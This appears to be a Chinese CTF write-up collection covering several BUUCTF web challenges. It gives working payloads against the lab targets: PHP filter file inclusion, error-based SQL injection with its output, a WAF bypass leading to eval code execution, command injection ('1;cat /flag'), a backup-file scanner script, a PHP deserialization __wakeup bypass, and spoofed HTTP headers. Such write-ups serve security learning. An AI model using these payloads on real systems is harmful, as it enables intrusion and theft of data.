[ACTF2020新生赛]Include
这题考察的是文件包含的php协议,一句话解决:
php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020新生赛]BackupFile
提示给了备份文件,试着访问 index.php.bak 拿到源码:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
考察的是php弱类型比较,
?key=123
[极客大挑战 2019]Secret File
忽然发现还是学到挺多东西的。虽然是ez题,但是出题人很认真。
index.php
查看源码得知跳转路径
Archive_room.php
查阅,根据查阅结束的“没看清么?回去再仔细看看吧。”这句话合理推测这里有个302跳转,通过burp抓包看到跳转·路径
secr3t.php
提示flag在flag.php
flag.php
php伪协议读取文件
[极客大挑战 2019]LoveSQL
报错注入爆数据库:
1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_SCHEMA) FROM information_schema.tables),0x7e),1);#
返回结果
XPATH syntax error: '~information_schema,mysql,perfor'
爆表:
1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_NAME) FROM information_schema.tables WHERE table_schema='geek'),0x7e),1);#
返回结果:
XPATH syntax error: '~geekuser,l0ve1ysq1~'
爆字段名:
1' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_schema= 'geek' AND table_name='l0ve1ysq1'
),0x7e),1);#
返回结果:
XPATH syntax error: '~id,username,password~'
爆字段内容,使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#
返回结果
XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{55a'
同理可得:
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),250,275),0x7e),1);#
返回结果:
XPATH syntax error: '~ag{55a9c216-b598-4401-b136-9367'
XPATH syntax error: '~6-936743c1910c}~'
得到flag。
[RoarCTF 2019]Easy Calc
查看源码,发现有前端过滤
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
提交到calc.php,查看源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
尝试提交却发现没有权限,题目提示设置了一个安全的WAF,原来是被WAF了。输入除了数字以外的字符都会报错。
发现WAF却不是PHP源码的WAF,这里应该是还有一层除了PHP之外的WAF。
这里利用到了PHP字符串解析特性来绕过WAF,很好,又是我不会的东西。
该网页还存在一个WAF,会对num
进行审计,但当在num
前加上空格,即变量为%20num
时,就可以绕过WAF对num
的审计。在转化为PHP的key=>value
时,PHP解析了传入的key
,做了两件事情:
- 删除空白符
- 转化特殊字符
就可以把想要的变量转化为num
了。
于是提交exp:
?%20num=phpinfo()
返回phpinfo();
?%20num=var_dump(scandir(chr(47)))
scandir()
:同Linux Shell下的ls命令类似,但是要指定目录,由于WAF过滤了/
,所以需要用chr(47)来进行代替。上面的语句等同于scandir("/")
。
var_dump()
:用来返回变量具体的参数信息。例如当输出一个Array变量时,回显为Array;如果使用var_dump()
函数,则可以返回变量的具体信息。
array(24) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) ".dockerenv"
[3]=>
string(3) "bin"
[4]=>
string(4) "boot"
[5]=>
string(3) "dev"
[6]=>
string(3) "etc"
[7]=>
string(5) "f1agg"
[8]=>
string(4) "home"
[9]=>
string(3) "lib"
[10]=>
string(5) "lib64"
[11]=>
string(5) "media"
[12]=>
string(3) "mnt"
[13]=>
string(3) "opt"
[14]=>
string(4) "proc"
[15]=>
string(4) "root"
[16]=>
string(3) "run"
[17]=>
string(4) "sbin"
[18]=>
string(3) "srv"
[19]=>
string(8) "start.sh"
[20]=>
string(3) "sys"
[21]=>
string(3) "tmp"
[22]=>
string(3) "usr"
[23]=>
string(3) "var"
}
可以看到有一个flagg文件,试着读取:
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag。
[极客大挑战 2019]Knife
白给的shell,不说了。
[ACTF2020 新生赛]Exec
1;cat /flag
[极客大挑战 2019]PHP
分享一个很有意思的脚本:
# python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://dc978cce-0571-40d6-8a75-ac2c41c57fed.node3.buuoj.cn'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar', 'bak']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(len(requests.get(url).text))
源于:常用网站源代码备份脚本,可以按照需求添加字典。
扫出来www.zip,下载后发现网页有假flag以及class.php。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
调用在index.php:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
要求密码必须为100且用户名必须为admin,但是在__wakeup函数中会将username设置为’guest’,就需要绕过__wakeup。
老考点了,用到的是CVE-2016-7124漏洞,在特定的PHP版本绕过__walkup。
要注意到的是反序列化后的public,private以及protected三种变量的值具体表达方法不一样,使用的时候要注意区分。
当一个类为:
<?php
class Example{
public $test = 'a';
}
$example = new Example();
echo serialize($example);
返回结果为:
O:7:"Example":1:{s:4:"test";s:1:"a";}
当类型为private时,情况就会稍微复杂一些。
<?php
class Example{
private $test = 'a';
}
$example = new Example();
echo serialize($example);
返回结果为:
O:7:"Example":1:{s:13:"%00Example%00test";s:1:"a";}
当类型为protected
<?php
class Example{
protected $test = 'a';
}
$example = new Example();
echo serialize($example);
返回结果为:
O:7:"Example":1:{s:7:"%00*%00test";s:1:"a";}
本题最终构造的反序列化字符串:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[极客大挑战 2019]Http
起初没有什么头绪,后面看bp发现历史记录加载了一个Secret.php文件:
重新审计源码发现页面引入了Secret.php。访问该文件,修改HTTP保头的:
- User-Agent
- X-Forwarded-For
- referer
三个属性,读取flag。
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26881
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Content-Length: 2